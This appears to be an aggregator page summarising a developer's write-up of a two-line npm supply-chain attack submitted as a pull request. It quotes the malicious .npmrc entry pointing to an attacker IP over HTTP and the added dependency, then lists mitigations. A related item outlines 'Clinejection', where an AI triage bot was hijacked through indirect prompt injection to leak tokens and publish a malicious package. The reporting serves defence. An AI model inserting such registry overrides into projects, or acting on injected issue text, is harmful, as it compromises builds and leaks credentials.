Observed Signal · Jun 27, 2026 · Security Incident · Source: DEV Community · Impact: 2/5 · Sentiment: Negative
Two-Line NPM Supply-Chain Attack via Rogue Registry
A developer details a small but dangerous supply-chain attack submitted as a pull request to their repository. The PR added a .npmrc that silently redirects all package resolution to an attacker-controlled IP over plain HTTP and inserted a new dependency in package.json that would be resolved from the hostile registry. The malicious change relied on trivial-looking diffs to bypass cursory review; a human reviewer stopped the merge after spotting the IP-based, non-HTTPS registry entry. The author explains the exploit mechanics, demonstrates why such minimal changes are effective, and recommends mitigations: treat .npmrc as security-critical, add CI checks to reject non-HTTPS or IP-based registries, pin/verify dependencies and lockfiles, restrict egress from build environments, and prefer reviewing diffs over PR descriptions.
Demonstrates a low-effort, high-impact npm supply-chain technique (registry override to an IP over HTTP) that can compromise CI tokens and installs across many projects; relevant to any org that runs npm in CI but not industry-shifting.
Track npm Signals & Market Shifts in Real-Time
Polaris7 autonomous intelligence agents track regulatory filings, primary sources, executive changes, and deal flow 24/7. Create your free Explorer workspace to monitor these entities.
Key Takeaways & Evidence Grounding
- A PR to the author's repository added a .npmrc file and a new dependency, introducing a supply-chain attack vector.
- The .npmrc contained: 'registry=https://registry.npmjs.org/' and ':registry=http://206.223.232.170:64389/', causing default package resolution to an attacker-controlled IP over HTTP.
- package.json was edited to add 'ethers-multicall-utils': '^2.1.4' as a devDependency so npm would fetch a package from the hostile registry.
- The malicious PR was closed without merge after a human reviewer questioned the non-HTTPS, bare-IP registry entry.
- Author recommends mitigations including CODEOWNERS for .npmrc, CI checks to block non-HTTPS/IP registries, using lockfiles with 'npm ci', '--ignore-scripts' in CI, and network egress allowlisting for builds.
Connected Companies & Entities
1 Entity mapped“The first line is decoration. It points at the real npm registry and exists purely so the file looks reasonable. (Shown in the .npmrc: 'regi...”
Ontology Mapping & Concepts
Related Market Signals & Shifts
Recent verified developments and strategic activity across this market segment.
npm audit isn't enough: simulated Node supply‑chain attack
A developer simulated supply‑chain attack vectors against a real Node.js project (Next.js, Railway, PostgreSQL, TypeScript and ~23 direct dependencies) and found that npm audit — which only flags known CVE‑based vulnerabilities — missed practical risks. The simulation uncovered 847 transitive packages, three suspiciously similar package names (typosquatting candidates by similarity), 47 packages with install lifecycle scripts (some performing network calls or writing outside node_modules), and a likely maintainer‑takeover fingerprint (15 months of inactivity followed by a vague new release). The author implemented mitigations: run npm ci --ignore-scripts in CI, add Socket.dev behavioral analysis to the pipeline, and require manual review of lifecycle‑script diffs in PRs. The article argues npm audit is a compliance/CVE tool and recommends behavioral, integrity and CI‑isolation controls to reduce supply‑chain risk.
npm audit insufficient: simulated Node supply-chain attack
A developer simulated supply‑chain attack vectors against a real Node.js project (Next.js, Railway, PostgreSQL, TypeScript) to evaluate what npm audit misses. The simulation found npm audit only reports known CVEs and does not model trust-based threats. Key findings: the project had 23 direct dependencies and 847 transitive packages; npm audit reported zero critical vulnerabilities; 47 packages in the dependency tree had lifecycle scripts (preinstall/install/postinstall); three transitive packages showed name similarity (typosquatting risk); and one package exhibited a maintainer‑takeover fingerprint (long inactivity then a recent vague release). The author implemented mitigations: run npm ci --ignore-scripts in CI, segregate install steps from deploy/secrets, add behavioral analysis (Socket.dev), validate integrity hashes, and require manual review of lifecycle script diffs in PRs. Publication date: 2026-05-07.
Clinejection: AI Triage Bot Enables NPM Supply-Chain Attack
Clinejection is a chained supply‑chain exploit that turned an AI‑powered issue‑triage workflow into an attack vector, resulting in an unauthorized npm publication of a malicious package. The attack combined indirect prompt injection (via a crafted GitHub issue title), GitHub Actions cache poisoning, token exfiltration, and an npm publish that added a postinstall script to install a rogue AI agent called OpenClaw. Approximately 4,000 installs occurred during an eight‑hour window before the malicious package (cline@2.3.0) was yanked. The incident highlights gaps in workflows that give LLM agents write access and long‑lived automation tokens, and underscores defenses such as OIDC provenance, lifecycle‑script inspection, and local pre‑install SCA gates.
Track Real-Time Market Signals & Shifts
Set up custom watchlists to receive automated, evidence-grounded executive digests whenever material signals or shifts occur across your tracked landscape.